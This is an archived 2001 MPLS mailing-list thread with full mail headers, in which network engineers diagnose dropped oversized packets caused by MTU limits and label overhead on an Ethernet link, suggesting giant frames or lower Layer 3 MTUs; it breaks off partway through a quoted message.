Received: by mail-control.ash.ops.us.uu.net 
	id QQlllg01989
	for mpls-outgoing; Fri, 19 Oct 2001 18:06:35 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlllg01984
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 18:06:32 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlllg12402
	for <mpls@uu.net>; Fri, 19 Oct 2001 18:06:02 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQlllg14560
	for <mpls@uu.net>; Fri, 19 Oct 2001 18:06:19 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA19043 for <mpls@uu.net>; Fri, 19 Oct 2001 14:06:01 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA15875 for mpls@uu.net; Fri, 19 Oct 2001 14:06:01 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlllg01821
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 18:05:24 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlllg24030
	for <mpls@UU.NET>; Fri, 19 Oct 2001 18:05:11 GMT
Received: from sj-msg-core-4.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-4.cisco.com [171.71.163.10])
	id QQlllg13421
	for <mpls@UU.NET>; Fri, 19 Oct 2001 18:05:28 GMT
Received: from mira-sjcm-3.cisco.com (mira-sjcm-3.cisco.com [171.69.24.15])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f9JI5Em03433;
	Fri, 19 Oct 2001 11:05:14 -0700 (PDT)
Received: from cisco.com (ams-vpdn-client-157.cisco.com [144.254.46.158])
	by mira-sjcm-3.cisco.com (Mirapoint)
	with ESMTP id ACK37846;
	Fri, 19 Oct 2001 10:54:54 -0700 (PDT)
Message-ID: <3BD06B15.EB6F33B5@cisco.com>
Date: Fri, 19 Oct 2001 20:04:06 +0200
From: Robert Raszuk <raszuk@cisco.com>
Reply-To: raszuk@cisco.com
Organization: Signature: http://www.employees.org/~raszuk/sig/
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD   (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Alan Hannan <alan@routingloop.com>
CC: "Loureiro, Rodrigo - (Bra)" <rodrigo.loureiro@attla.com>, mpls@UU.NET,
        mpls-ops@mplsrc.com
Subject: Re: Problems w/ MTU
References: <C6FBB67DF697F84980770AC75B485058442177@brspomail02.br.attla.corp> <20011019105956.I15639@mindvision.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


Just to add to what Alan said the good practice in the following case
would be to configure your P2-PE2 ethernet switch/router to support
giant frames. Most ethernet platform/drivers allow this today. 

Fragmentation is the last resort but is used in a lot of production
environments running MPLS as the easiest patch :). Of course the
recommended place for fragmentation in your case is PE1 or speaking more
generally the edge of the network.

R.

> Alan Hannan wrote:
> 
>   This is a known issue, operationally.
> 
>   You must set the MTU of your Layer 3 transmittal driver to be small
>   enough to allow needed Label Stacking.  I believe we set the MTU of
>   much ethernet to 1490 or so to allow this, which also wreaks
>   cosmetic habit with certain syslog-alarm-happy boxes...
> 
>   In practice, most POS MTUs are 4470, not 1500, FWIW.
> 
>   The router should fragment, and it will, but the switch will drop.
> 
>   -alan
> 
> Thus spake Loureiro, Rodrigo - (Bra) (rodrigo.loureiro@attla.com)
>  on or about Fri, Oct 19, 2001 at 02:32:59PM -0300:
> > Hi all,
> >
> > I am investigating a problem with packet forwarding/switching in a MPLS
> > scope regarding maximum transfer unit, and i would like to share my doubts
> > with you.
> >
> > Imagine a four routers setup: PE1, P1, P2 and PE2. PE1 is connected to P1
> > via POS, P1 is connected to P2 via ATM and P2 is connected to PE2 via a
> > FastEthernet cross-connection. Imagine also that POS interface is configured
> > with a 1500 bytes MTU, ATM with 4470 bytes and FastEthernet with 1500 bytes
> > (consider this hardware is capable to generate Ethernet frames up to 1510
> > bytes of payload for labeling purposes).
> >
> > Now, consider that PE1 and PE2 has a MP-BGP session directly between them.
> > Considering that BGP is capable to generate messages up to 4096 bytes (RFC
> > 1771), we should guarantee that packets greater than 1500 bytes sent from
> > PE1 toward PE2 are being fragmented. Instead of this, the packets will be
> > discarded in the FastEthernet connection between P2 and PE2, once MPLS will
> > not  fragment the packets.
> >
> > I made a test with ICMP from PE1 to PE2, generating packets greater than
> > 1500 bytes, and i could see that packets were not being fragmented by PE1.
> > So, one question arises: What should be the correct behavior for IP packets
> > originated inside the router toward another router in a MPLS environment:
> > should it follow the interface MTU and fragment the packet or should it
> > ignore it and label switch the packet regardless of its lengh ?
> >
> >
> > Regards,
> > --
> >
> > Rodrigo Loureiro
> > AT&T LA - Network Engineer



From owner-mpls@UU.NET  Fri Oct 19 14:30:15 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27191
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 14:30:15 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlllh17593;
	Fri, 19 Oct 2001 18:29:14 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlllh12754
	for mpls-outgoing; Fri, 19 Oct 2001 18:28:39 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQlllh12749
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 18:28:37 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlllh11553
	for <mpls@UU.NET>; Fri, 19 Oct 2001 18:26:41 GMT
Received: from jenna.mindvision.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: jenna.mindvision.com [216.170.22.4])
	id QQlllh14450
	for <mpls@UU.NET>; Fri, 19 Oct 2001 18:26:58 GMT
Received: from desktop (c1297948-a.snvl1.sfba.home.com [65.3.196.186])
	by jenna.mindvision.com (8.11.1/8.11.1) with ESMTP id f9JHQNJ19835;
	Fri, 19 Oct 2001 12:26:23 -0500
From: "Alan Hannan" <alan@routingloop.com>
To: "'Loureiro, Rodrigo - \(Bra\)'" <rodrigo.loureiro@attla.com>
Cc: <mpls@UU.NET>, <mpls-ops@mplsrc.com>
Subject: RE: Problems w/ MTU
Date: Fri, 19 Oct 2001 11:26:45 -0700
Message-ID: <005f01c158cb$9c193e70$644458a6@desktop>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
In-Reply-To: <3BD06B15.EB6F33B5@cisco.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


Just want to add to Robert's note adding to mine....

Robert is right.  Often times one can overcome this issue by raising the
MTU of the L2 Ethernet Switch by invoking "Giant Frames".  Many Ethernet
Switches may support Giant Frames or "MiniGiants: (something like 1592
bytes), if not by default, by modifying the configuration.

Ethernet Switches from before the year 2000 may not support Giant
Frames.  Anecdotally, this is the issue to which I refer below.  Old
Catalyst 5500s didn't, if I recall correctly.

I'm still not absolutely positive we've addressed your issue below, so
to try and make sure, the Layer 3 drivers will fragment when the
transmitted packet is larger than the MTU.  If the Layer 2 subsystem
(Considering MPLS as L2 for this purpose) adds shim headers, it will
expand the byte-count.  This can cause the packet loss you describe
below. Solutions include A/ replacing ethernet switch, B/ changing MTU
on L3 box, C/ something else :-)

Best,

Alan

> -----Original Message-----
> From: Robert Raszuk [mailto:raszuk@cisco.com]
> Sent: Friday, October 19, 2001 11:04 AM
> To: Alan Hannan
> Cc: Loureiro, Rodrigo - (Bra); mpls@UU.NET; mpls-ops@mplsrc.com
> Subject: Re: Problems w/ MTU
> 
> 
> Just to add to what Alan said the good practice in the following case
> would be to configure your P2-PE2 ethernet switch/router to support
> giant frames. Most ethernet platform/drivers allow this today.
> 
> Fragmentation is the last resort but is used in a lot of production
> environments running MPLS as the easiest patch :). Of course the
> recommended place for fragmentation in your case is PE1 or speaking
more
> generally the edge of the network.
> 
> R.
> 
> > Alan Hannan wrote:
> >
> >   This is a known issue, operationally.
> >
> >   You must set the MTU of your Layer 3 transmittal driver to be
small
> >   enough to allow needed Label Stacking.  I believe we set the MTU
of
> >   much ethernet to 1490 or so to allow this, which also wreaks
> >   cosmetic habit with certain syslog-alarm-happy boxes...
> >
> >   In practice, most POS MTUs are 4470, not 1500, FWIW.
> >
> >   The router should fragment, and it will, but the switch will drop.
> >
> >   -alan
> >
> > Thus spake Loureiro, Rodrigo - (Bra) (rodrigo.loureiro@attla.com)
> >  on or about Fri, Oct 19, 2001 at 02:32:59PM -0300:
> > > Hi all,
> > >
> > > I am investigating a problem with packet forwarding/switching in a
> MPLS
> > > scope regarding maximum transfer unit, and i would like to share
my
> doubts
> > > with you.
> > >
> > > Imagine a four routers setup: PE1, P1, P2 and PE2. PE1 is
connected to
> P1
> > > via POS, P1 is connected to P2 via ATM and P2 is connected to PE2
via
> a
> > > FastEthernet cross-connection. Imagine also that POS interface is
> configured
> > > with a 1500 bytes MTU, ATM with 4470 bytes and FastEthernet with
1500
> bytes
> > > (consider this hardware is capable to generate Ethernet frames up
to
> 1510
> > > bytes of payload for labeling purposes).
> > >
> > > Now, consider that PE1 and PE2 has a MP-BGP session directly
between
> them.
> > > Considering that BGP is capable to generate messages up to 4096
bytes
> (RFC
> > > 1771), we should guarantee that packets greater than 1500 bytes
sent
> from
> > > PE1 toward PE2 are being fragmented. Instead of this, the packets
will
> be
> > > discarded in the FastEthernet connection between P2 and PE2, once
MPLS
> will
> > > not  fragment the packets.
> > >
> > > I made a test with ICMP from PE1 to PE2, generating packets
greater
> than
> > > 1500 bytes, and i could see that packets were not being fragmented
by
> PE1.
> > > So, one question arises: What should be the correct behavior for
IP
> packets
> > > originated inside the router toward another router in a MPLS
> environment:
> > > should it follow the interface MTU and fragment the packet or
should
> it
> > > ignore it and label switch the packet regardless of its lengh ?
> > >
> > >
> > > Regards,
> > > --
> > >
> > > Rodrigo Loureiro
> > > AT&T LA - Network Engineer



From owner-mpls@UU.NET  Fri Oct 19 14:41:38 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27598
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 14:41:38 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllli19196;
	Fri, 19 Oct 2001 18:38:56 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllli13508
	for mpls-outgoing; Fri, 19 Oct 2001 18:38:38 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllli13503
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 18:38:37 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllli01612
	for <mpls@uu.net>; Fri, 19 Oct 2001 18:38:28 GMT
Received: from funnel.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllli18077
	for <mpls@uu.net>; Fri, 19 Oct 2001 18:38:19 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id OAA23798 for <mpls@uu.net>; Fri, 19 Oct 2001 14:38:28 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id OAA17736 for mpls@uu.net; Fri, 19 Oct 2001 14:38:28 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllli13228
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 18:35:27 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllli15936
	for <mpls@UU.NET>; Fri, 19 Oct 2001 18:34:02 GMT
Received: from BRSPOMAIL01.br.attla.corp by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gw.attla.com.br [200.173.132.130])
	id QQllli25210
	for <mpls@UU.NET>; Fri, 19 Oct 2001 18:34:19 GMT
Received: by BRSPOMAIL01.br.attla.corp with Internet Mail Service (5.5.2653.19)
	id <V1V29XTQ>; Fri, 19 Oct 2001 16:33:27 -0300
Message-ID: <C6FBB67DF697F84980770AC75B48505844217A@brspomail02.br.attla.corp>
From: "Loureiro, Rodrigo - (Bra)" <rodrigo.loureiro@attla.com>
To: "'Alan Hannan'" <alan@routingloop.com>
Cc: mpls@UU.NET, mpls-ops@mplsrc.com
Subject: RES: Problems w/ MTU
Date: Fri, 19 Oct 2001 16:33:27 -0300
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C158D4.ED40C300"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C158D4.ED40C300
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi Alan,

Thanks for response.

I=B4m not sure that PE routers will fragment the packets. The real =
proof of
this is that the maximum ICMP packet that i could transfer between PE1 =
and
PE2, without set the DF bit, was a 1506 bytes packet (1510 maximum =
feasible
ethernet frame minus 4 label bytes). If fragmentation were being done =
in the
PE1 POS, i should be able to ping PE2 with any packet length, once POS =
is
configured with a 1500 bytes MTU. Also, i enabled a debug and i could =
see
that packets greater than 1500 bytes were not being fragmented.=20

My doubt is: PE1 wants to send an IP packet to PE2, and this packet is =
being
generated by PE1. Once PE1 has an entry for PE2 in its LFIB, should it
respect the IP MTU and fragment the packet prior to label it, or should =
it
ignore the IP MTU, as P routers do w/ pure label switching ?


Regards,
--

Rodrigo


-----Mensagem original-----
De: Alan Hannan [mailto:alan@routingloop.com]
Enviada em: sexta-feira, 19 de outubro de 2001 13:00
Para: Loureiro, Rodrigo - (Bra)
Cc: mpls@UU.NET; mpls-ops@mplsrc.com
Assunto: Re: Problems w/ MTU



  This is a known issue, operationally.

  You must set the MTU of your Layer 3 transmittal driver to be small
  enough to allow needed Label Stacking.  I believe we set the MTU of
  much ethernet to 1490 or so to allow this, which also wreaks
  cosmetic habit with certain syslog-alarm-happy boxes...

  In practice, most POS MTUs are 4470, not 1500, FWIW.

  The router should fragment, and it will, but the switch will drop.

  -alan

Thus spake Loureiro, Rodrigo - (Bra) (rodrigo.loureiro@attla.com)
 on or about Fri, Oct 19, 2001 at 02:32:59PM -0300:
> Hi all,
>=20
> I am investigating a problem with packet forwarding/switching in a =
MPLS
> scope regarding maximum transfer unit, and i would like to share my =
doubts
> with you.
>=20
> Imagine a four routers setup: PE1, P1, P2 and PE2. PE1 is connected =
to P1
> via POS, P1 is connected to P2 via ATM and P2 is connected to PE2 via =
a
> FastEthernet cross-connection. Imagine also that POS interface is
configured
> with a 1500 bytes MTU, ATM with 4470 bytes and FastEthernet with 1500
bytes
> (consider this hardware is capable to generate Ethernet frames up to =
1510
> bytes of payload for labeling purposes).=20
>=20
> Now, consider that PE1 and PE2 has a MP-BGP session directly between =
them.
> Considering that BGP is capable to generate messages up to 4096 bytes =
(RFC
> 1771), we should guarantee that packets greater than 1500 bytes sent =
from
> PE1 toward PE2 are being fragmented. Instead of this, the packets =
will be
> discarded in the FastEthernet connection between P2 and PE2, once =
MPLS
will
> not  fragment the packets.=20
>=20
> I made a test with ICMP from PE1 to PE2, generating packets greater =
than
> 1500 bytes, and i could see that packets were not being fragmented by =
PE1.
> So, one question arises: What should be the correct behavior for IP
packets
> originated inside the router toward another router in a MPLS =
environment:
> should it follow the interface MTU and fragment the packet or should =
it
> ignore it and label switch the packet regardless of its lengh ?
>=20
>=20
> Regards,
> --
>=20
> Rodrigo Loureiro
> AT&T LA - Network Engineer

------_=_NextPart_001_01C158D4.ED40C300
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2653.12">
<TITLE>RES: Problems w/ MTU</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Hi Alan,</FONT>
</P>

<P><FONT SIZE=3D2>Thanks for response.</FONT>
</P>

<P><FONT SIZE=3D2>I=B4m not sure that PE routers will fragment the =
packets. The real proof of this is that the maximum ICMP packet that i =
could transfer between PE1 and PE2, without set the DF bit, was a 1506 =
bytes packet (1510 maximum feasible ethernet frame minus 4 label =
bytes). If fragmentation were being done in the PE1 POS, i should be =
able to ping PE2 with any packet length, once POS is configured with a =
1500 bytes MTU. Also, i enabled a debug and i could see that packets =
greater than 1500 bytes were not being fragmented. </FONT></P>

<P><FONT SIZE=3D2>My doubt is: PE1 wants to send an IP packet to PE2, =
and this packet is being generated by PE1. Once PE1 has an entry for =
PE2 in its LFIB, should it respect the IP MTU and fragment the packet =
prior to label it, or should it ignore the IP MTU, as P routers do w/ =
pure label switching ?</FONT></P>
<BR>

<P><FONT SIZE=3D2>Regards,</FONT>
<BR><FONT SIZE=3D2>--</FONT>
</P>

<P><FONT SIZE=3D2>Rodrigo</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>-----Mensagem original-----</FONT>
<BR><FONT SIZE=3D2>De: Alan Hannan [<A =
HREF=3D"mailto:alan@routingloop.com">mailto:alan@routingloop.com</A>]</F=
ONT>
<BR><FONT SIZE=3D2>Enviada em: sexta-feira, 19 de outubro de 2001 =
13:00</FONT>
<BR><FONT SIZE=3D2>Para: Loureiro, Rodrigo - (Bra)</FONT>
<BR><FONT SIZE=3D2>Cc: mpls@UU.NET; mpls-ops@mplsrc.com</FONT>
<BR><FONT SIZE=3D2>Assunto: Re: Problems w/ MTU</FONT>
</P>
<BR>
<BR>

<P><FONT SIZE=3D2>&nbsp; This is a known issue, operationally.</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp; You must set the MTU of your Layer 3 =
transmittal driver to be small</FONT>
<BR><FONT SIZE=3D2>&nbsp; enough to allow needed Label Stacking.&nbsp; =
I believe we set the MTU of</FONT>
<BR><FONT SIZE=3D2>&nbsp; much ethernet to 1490 or so to allow this, =
which also wreaks</FONT>
<BR><FONT SIZE=3D2>&nbsp; cosmetic habit with certain =
syslog-alarm-happy boxes...</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp; In practice, most POS MTUs are 4470, not 1500, =
FWIW.</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp; The router should fragment, and it will, but =
the switch will drop.</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp; -alan</FONT>
</P>

<P><FONT SIZE=3D2>Thus spake Loureiro, Rodrigo - (Bra) =
(rodrigo.loureiro@attla.com)</FONT>
<BR><FONT SIZE=3D2>&nbsp;on or about Fri, Oct 19, 2001 at 02:32:59PM =
-0300:</FONT>
<BR><FONT SIZE=3D2>&gt; Hi all,</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I am investigating a problem with packet =
forwarding/switching in a MPLS</FONT>
<BR><FONT SIZE=3D2>&gt; scope regarding maximum transfer unit, and i =
would like to share my doubts</FONT>
<BR><FONT SIZE=3D2>&gt; with you.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Imagine a four routers setup: PE1, P1, P2 and =
PE2. PE1 is connected to P1</FONT>
<BR><FONT SIZE=3D2>&gt; via POS, P1 is connected to P2 via ATM and P2 =
is connected to PE2 via a</FONT>
<BR><FONT SIZE=3D2>&gt; FastEthernet cross-connection. Imagine also =
that POS interface is configured</FONT>
<BR><FONT SIZE=3D2>&gt; with a 1500 bytes MTU, ATM with 4470 bytes and =
FastEthernet with 1500 bytes</FONT>
<BR><FONT SIZE=3D2>&gt; (consider this hardware is capable to generate =
Ethernet frames up to 1510</FONT>
<BR><FONT SIZE=3D2>&gt; bytes of payload for labeling purposes). =
</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Now, consider that PE1 and PE2 has a MP-BGP =
session directly between them.</FONT>
<BR><FONT SIZE=3D2>&gt; Considering that BGP is capable to generate =
messages up to 4096 bytes (RFC</FONT>
<BR><FONT SIZE=3D2>&gt; 1771), we should guarantee that packets greater =
than 1500 bytes sent from</FONT>
<BR><FONT SIZE=3D2>&gt; PE1 toward PE2 are being fragmented. Instead of =
this, the packets will be</FONT>
<BR><FONT SIZE=3D2>&gt; discarded in the FastEthernet connection =
between P2 and PE2, once MPLS will</FONT>
<BR><FONT SIZE=3D2>&gt; not&nbsp; fragment the packets. </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; I made a test with ICMP from PE1 to PE2, =
generating packets greater than</FONT>
<BR><FONT SIZE=3D2>&gt; 1500 bytes, and i could see that packets were =
not being fragmented by PE1.</FONT>
<BR><FONT SIZE=3D2>&gt; So, one question arises: What should be the =
correct behavior for IP packets</FONT>
<BR><FONT SIZE=3D2>&gt; originated inside the router toward another =
router in a MPLS environment:</FONT>
<BR><FONT SIZE=3D2>&gt; should it follow the interface MTU and fragment =
the packet or should it</FONT>
<BR><FONT SIZE=3D2>&gt; ignore it and label switch the packet =
regardless of its lengh ?</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Regards,</FONT>
<BR><FONT SIZE=3D2>&gt; --</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Rodrigo Loureiro</FONT>
<BR><FONT SIZE=3D2>&gt; AT&amp;T LA - Network Engineer</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C158D4.ED40C300--



From owner-mpls@UU.NET  Fri Oct 19 15:02:33 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28063
	for <mpls-archive@lists.ietf.org>; Fri, 19 Oct 2001 15:02:33 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlllj03197;
	Fri, 19 Oct 2001 18:56:09 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlllj15103
	for mpls-outgoing; Fri, 19 Oct 2001 18:55:39 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlllj15098
	for <mpls@mail-control.ash.ops.us.uu.net>; Fri, 19 Oct 2001 18:55:33 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQlllj15734
	for <mpls@UU.NET>; Fri, 19 Oct 2001 18:53:32 GMT
Received: from jenna.mindvision.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: jenna.mindvision.com [216.170.22.4])
	id QQlllj22274
	for <mpls@UU.NET>; Fri, 19 Oct 2001 18:53:49 GMT
Received: from desktop (c1297948-a.snvl1.sfba.home.com [65.3.196.186])
	by jenna.mindvision.com (8.11.1/8.11.1) with ESMTP id f9JHrDJ20073;
	Fri, 19 Oct 2001 12:53:13 -0500
From: "Alan Hannan" <alan@routingloop.com>
To: "'Loureiro, Rodrigo - \(Bra\)'" <rodrigo.loureiro@attla.com>
Cc: <mpls@UU.NET>, <mpls-ops@mplsrc.com>
Subject: RE: Problems w/ MTU
Date: Fri, 19 Oct 2001 11:53:35 -0700
Message-ID: <006701c158cf$5be5dcb0$644458a6@desktop>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0068_01C15894.AF8704B0"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
In-Reply-To: <C6FBB67DF697F84980770AC75B48505844217A@brspomail02.br.attla.corp>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0068_01C15894.AF8704B0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Rodrigo,
=20
IP boxes should fragment if the offered IP packet is greater than the
MTU, provided the DF-Bit is not set.  If your box doesn=92t do this,
please inquire with your vendor.  Please also verify that your DF =
(Don=92t
Fragment) but is not set on the testing packets.
=20
I suspect that the issue has to do with your MTU setting as the
underlying L2 system adds bytes to the frame.  Please experiment with
the MTU setting and let=92s talk offline.
=20
Best,
=20
Alan
=20
=20
-----Original Message-----
From: Loureiro, Rodrigo - (Bra) [mailto:rodrigo.loureiro@attla.com]=20
Sent: Friday, October 19, 2001 12:33 PM
To: 'Alan Hannan'
Cc: mpls@UU.NET; mpls-ops@mplsrc.com
Subject: RES: Problems w/ MTU
=20
Hi Alan,=20
Thanks for response.=20
I=B4m not sure that PE routers will fragment the packets. The real proof
of this is that the maximum ICMP packet that i could transfer between
PE1 and PE2, without set the DF bit, was a 1506 bytes packet (1510
maximum feasible ethernet frame minus 4 label bytes). If fragmentation
were being done in the PE1 POS, i should be able to ping PE2 with any
packet length, once POS is configured with a 1500 bytes MTU. Also, i
enabled a debug and i could see that packets greater than 1500 bytes
were not being fragmented.=20
My doubt is: PE1 wants to send an IP packet to PE2, and this packet is
being generated by PE1. Once PE1 has an entry for PE2 in its LFIB,
should it respect the IP MTU and fragment the packet prior to label it,
or should it ignore the IP MTU, as P routers do w/ pure label switching
?
=20
Regards,=20
--=20
Rodrigo=20
=20
-----Mensagem original-----=20
De: Alan Hannan [mailto:alan@routingloop.com]=20
Enviada em: sexta-feira, 19 de outubro de 2001 13:00=20
Para: Loureiro, Rodrigo - (Bra)=20
Cc: mpls@UU.NET; mpls-ops@mplsrc.com=20
Assunto: Re: Problems w/ MTU=20
=20
  This is a known issue, operationally.=20
  You must set the MTU of your Layer 3 transmittal driver to be small=20
  enough to allow needed Label Stacking.  I believe we set the MTU of=20
  much ethernet to 1490 or so to allow this, which also wreaks=20
  cosmetic habit with certain syslog-alarm-happy boxes...=20
  In practice, most POS MTUs are 4470, not 1500, FWIW.=20
  The router should fragment, and it will, but the switch will drop.=20
  -alan=20
Thus spake Loureiro, Rodrigo - (Bra) (rodrigo.loureiro@attla.com)=20
 on or about Fri, Oct 19, 2001 at 02:32:59PM -0300:=20
> Hi all,=20
>=20
> I am investigating a problem with packet forwarding/switching in a
MPLS=20
> scope regarding maximum transfer unit, and i would like to share my
doubts=20
> with you.=20
>=20
> Imagine a four routers setup: PE1, P1, P2 and PE2. PE1 is connected to
P1=20
> via POS, P1 is connected to P2 via ATM and P2 is connected to PE2 via
a=20
> FastEthernet cross-connection. Imagine also that POS interface is
configured=20
> with a 1500 bytes MTU, ATM with 4470 bytes and FastEthernet with 1500
bytes=20
> (consider this hardware is capable to generate Ethernet frames up to
1510=20
> bytes of payload for labeling purposes).=20
>=20
> Now, consider that PE1 and PE2 has a MP-BGP session directly between
them.=20
> Considering that BGP is capable to generate messages up to 4096 bytes
(RFC=20
> 1771), we should guarantee that packets greater than 1500 bytes sent
from=20
> PE1 toward PE2 are being fragmented. Instead of this, the packets will
be=20
> discarded in the FastEthernet connection between P2 and PE2, once MPLS
will=20
